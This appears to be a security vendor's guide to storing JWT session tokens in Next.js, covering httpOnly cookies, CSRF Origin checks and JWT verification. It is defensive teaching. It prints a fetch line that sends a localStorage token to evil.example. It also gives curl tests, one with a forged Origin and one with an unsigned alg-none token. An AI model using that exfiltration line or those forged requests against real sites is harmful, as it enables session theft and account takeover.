JWT in localStorage vs cookies: where should the session token live?
Keeping a JWT in localStorage lets any script on your page read it, so one cross-site scripting (XSS) bug hands over the session. Use an httpOnly, Secure, SameSite cookie instead and keep JWTs short-lived. Cookies bring cross-site request forgery (CSRF) risk, but SameSite plus an Origin check covers most of it.
QUICK CHECKLIST
- Remove localStorage.setItem("token") from client code
- Set the session cookie with httpOnly, Secure and SameSite
- Check Origin on cookie-authenticated POST, PUT, PATCH, DELETE
- Pin the JWT algorithm and require exp when verifying
- Keep the signing secret out of NEXT_PUBLIC_ variables
- Use short expiry and a way to revoke sessions
Why a JWT in localStorage is a risk
A JWT (JSON Web Token) is a signed string the server gives the browser to prove who the user is. Where you keep it decides who can read it. In localStorage, every script on your page can read it, including code you didn't write.
OWASP's HTML5 cheat sheet says: "Do not store session identifiers in local storage as the data is always accessible by JavaScript. Cookies can mitigate this risk using the httpOnly flag."
An attacker first finds one way to run JavaScript on your page, such as user content rendered as raw HTML or a compromised npm package. One line then copies the token to their server:
fetch("https://evil.example/?t=" + localStorage.getItem("token"))OWASP says a session token is temporarily equivalent to the strongest authentication the app used. So the attacker can act as that user from their own machine until the token expires. If your JWTs never expire, that means forever.
AI tools often generate localStorage.setItem("token", ...) because login then works in five lines. Our guide on XSS in AI-generated React code shows the patterns that give attackers a way in, and security headers and CSP in Next.js makes injected scripts harder to run.
JWT in localStorage vs httpOnly cookie: the fix
Put the token in a cookie that only the server can read. MDN says a cookie with HttpOnly can't be accessed by JavaScript, for example through document.cookie, which helps mitigate XSS. Add Secure so the browser sends it only over HTTPS, and SameSite to limit when it travels cross-site.
// login form handler (client component)
const res = await fetch("/api/login", {
method: "POST",
body: JSON.stringify({ email, password }),
})
const { token } = await res.json()
localStorage.setItem("token", token) // any script on the page can read this// app/api/login/route.ts
import { cookies } from "next/headers"
import { checkPassword } from "@/lib/auth" // your own password check
import { signSession } from "@/lib/session"
export async function POST(req: Request) {
const { email, password } = await req.json()
const userId = await checkPassword(email, password)
if (!userId) return new Response("Invalid login", { status: 401 })
const jar = await cookies()
jar.set("session", await signSession(userId), {
httpOnly: true,
secure: true,
sameSite: "lax",
path: "/",
maxAge: 60 * 15,
})
return Response.json({ ok: true })
}| localStorage | httpOnly cookie | |
|---|---|---|
| Readable by injected script | Yes | No |
| Sent automatically by the browser | No, you add a header | Yes, to your site |
| CSRF risk | Not from the token itself | Yes, needs SameSite and checks |
| Expiry control | You code it | Max-Age or Expires |
Cookies trade XSS exposure for a CSRF risk you can fix.
Your auth provider may already decide this for you. Check its current docs for the exact flags it sets, including HttpOnly:
supabase-jskeeps its session in localStorage by default in the browser.@supabase/ssrstores it in cookies so the server can read it. The browser client reads them too, so they are not HttpOnly by default.
The CSRF catch with SameSite cookies
Browsers attach cookies to requests automatically, so a malicious page can make your user's browser send a request to your site with the cookie included. OWASP calls this cross-site request forgery (CSRF). A token in localStorage avoids it because the attacker's page can't read the token to build the header.
The fixes, roughly in order of effort:
- Use your framework's built-in CSRF protection if it has one. OWASP lists this first.
- Set
SameSite=LaxorStrict. MDN says SameSite gives some protection against CSRF. Lax also sends the cookie when someone follows a link to your site. - Check the
Originheader (the browser's record of which site sent the request) on every cookie-authenticated request that changes data. - Never change data on GET. OWASP says not to use GET for state-changing operations.
// lib/csrf.ts
export function isSameOrigin(req: Request) {
// APP_ORIGIN example: https://yourapp.com (no trailing slash)
return req.headers.get("origin") === process.env.APP_ORIGIN
}
// at the top of every cookie-authenticated POST, PUT, PATCH, DELETE handler
if (!isSameOrigin(req)) {
return new Response("Forbidden", { status: 403 })
}Webhooks and cron jobs usually send no Origin header, so they would get a 403 here. Verify the sender's signature on those routes instead.
JWT pitfalls (alg none, no expiry) and sessions vs JWT
A cookie doesn't rescue a badly built JWT. These JWT pitfalls come first:
- alg none: the token header names the signing algorithm. Some libraries have accepted tokens that claim
"alg": "none"with no signature, so anyone can forge one. Pass an explicit algorithm list when you verify. - No expiry: a token without
expstays valid until you change the secret. - Long lifetimes: a 30-day token stolen on day one works for 30 days. MDN says cookies holding sensitive information should have a short lifetime.
- Secret in the client: a signing secret in a
NEXT_PUBLIC_variable lets anyone mint a valid token. See NEXT_PUBLIC_ environment variables. - No revocation: banning a user or logging out everywhere needs a server-side check or a very short expiry.
This helper covers the first three and keeps the secret on the server:
// lib/session.ts
import { SignJWT, jwtVerify } from "jose"
const secret = new TextEncoder().encode(process.env.JWT_SECRET!) // server only
export function signSession(userId: string) {
return new SignJWT({})
.setProtectedHeader({ alg: "HS256" })
.setSubject(userId)
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret)
}
export async function readSession(token: string) {
try {
const { payload } = await jwtVerify(token, secret, {
algorithms: ["HS256"],
requiredClaims: ["exp", "sub"],
})
return payload.sub ?? null
} catch {
return null
}
}A 15 minute token needs a refresh step, or users get logged out all day. If you don't want to build that, a plain server session is simpler.
With a server session, the cookie holds a random ID and your database holds the user's data. OWASP says the ID should carry no meaning and recommends your framework's built-in session handling over a homemade one. Logging someone out or banning them then becomes a database change.
JWTs earn their place when several services must verify identity without sharing a database. Most vibe-coded apps have one backend, so use your provider's session handling and read Clerk and NextAuth mistakes before you wire it up.
How to fix a JWT in localStorage, step by step
This assumes a Next.js App Router app that signs its own JWTs. If an auth provider handles sessions for you, check its docs before you replace anything.
Find every place the token is stored
Search client code for
localStorage.setItem,sessionStorage,document.cookie =andAuthorization: Bearer. Cookies written from JavaScript can't be httpOnly, so those hits count too.Set the cookie on the server
In your login route, call
(await cookies()).setwithhttpOnly: true,secure: true,sameSite: "lax",path: "/"and a shortmaxAge. Don't return the token in the JSON body.Verify it on the server
Read it with
(await cookies()).get("session")?.valueand pass it toreadSession. Treat anullresult as logged out.Protect routes that change data
Add the
isSameOrigincheck to every cookie-authenticated POST, PUT, PATCH and DELETE handler. Skip webhook routes. Make sure no GET handler writes anything.Clean up the old setup
Remove the localStorage code and run
localStorage.removeItem("token")once so old tokens leave users' browsers. Log out by setting the cookie again withmaxAge: 0. If the signing secret was ever exposed, rotate it. That signs everyone out, which is the point.
Test it yourself
Run these checks on your own app only. The curl commands send forged input, so don't point them at anyone else's site.
- Log in, open DevTools, then Application, then Local Storage. A value starting with
eyJis a JWT. Bad result: your token sits there. Good result: nothing session-related. - Open Application, then Cookies. The session cookie should show HttpOnly and Secure ticked and SameSite set to Lax or Strict.
- In the Console, run
document.cookie. Good result: the session cookie isn't listed. - Look at your signing code. Bad result: no
exporsetExpirationTime, or an expiry of months.
Now check CSRF. Copy the cookie value from the Application panel and send a state-changing request with a foreign Origin:
curl -i -X POST https://yourapp.com/api/orders \ -H "Origin: https://evil.example" \ -H "Cookie: session=YOUR_SESSION_VALUE"
Bad result: 200. Good result: 403.
Last, try an unsigned token with alg set to none, the payload {"sub":"123"} and an empty signature:
curl -i https://yourapp.com/api/me \ -H "Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMifQ."
Bad result: 200 with user data. Good result: 401.
Fix prompt you can paste
Give this to Cursor or Claude Code from the repo root.
Audit how this app stores and checks its session token. 1. Search client code for localStorage.setItem, sessionStorage, "document.cookie =" and "Authorization: Bearer". List every hit with file and line. 2. Move the session token into a cookie set by the server with httpOnly: true, secure: true, sameSite: "lax", path "/" and a maxAge. The login route must not return the token in JSON. Remove the old localStorage code and add a one-time localStorage.removeItem. 3. Verify tokens on the server with the jose library. Pin algorithms to ["HS256"], require exp and sub, and use an expiry of 15 minutes or less unless there is a refresh flow. List every jwt.verify, jwtVerify or jwt.decode call without an explicit algorithms list or exp check. 4. Report any JWT secret that can reach the browser (NEXT_PUBLIC_, VITE_, client components) with file and line. 5. Add an Origin check against process.env.APP_ORIGIN to every cookie-authenticated POST, PUT, PATCH and DELETE handler. Skip webhook routes. List every GET handler that writes data, with file and line. 6. If the app uses Supabase or Clerk, don't replace their session handling. Tell me which settings to check in their docs instead. For every change, show the file and line and explain it in plain words.
To check the result, run your repo through Leakcade.
Further reading
- OWASP HTML5 Security Cheat Sheet (Web Storage and session identifiers)
- MDN: Using HTTP cookies (HttpOnly, Secure, SameSite)
- OWASP CSRF Prevention Cheat Sheet
- OWASP Session Management Cheat Sheet
FAQ
Is it safe to store a JWT in localStorage?
No, not for a session token. Any JavaScript running on your page can read localStorage, so one XSS bug lets an attacker copy the token. OWASP's HTML5 cheat sheet says not to store session identifiers there and points to httpOnly cookies instead.
Does an httpOnly cookie stop XSS?
No. It stops injected scripts from reading the cookie, so the attacker can't carry the token away. A script can still send requests from the victim's browser while the page is open, so you still have to fix the XSS.
Do I need CSRF protection if I use SameSite cookies?
Yes. MDN describes SameSite as some protection against CSRF, and OWASP lists it as one defence among several. Pair SameSite=Lax or Strict with an Origin check on state-changing requests, and never change data on GET.
What is the JWT alg none attack?
A JWT header names its signing algorithm. If your verifier trusts that header, an attacker can set alg to none, drop the signature and edit the payload. Pass an explicit algorithms list to your verify function so the token can't choose.
How do I log out a user when I use JWTs?
Clear the cookie by setting it again with the same name and path and Max-Age=0, as MDN describes. That doesn't invalidate a copy someone already stole. For real revocation, keep tokens short-lived and check a server-side session or blocklist.
Want a second pair of eyes?
We review your whole repo and write a fix prompt for every finding. $19, report within an hour.
Check my repoLeakcade is an automated check. It can miss vulnerabilities and is not a substitute for a professional security audit or pentest. Provided as is. You stay responsible for your code. Where the law allows, our liability is limited to what you paid ($19). Terms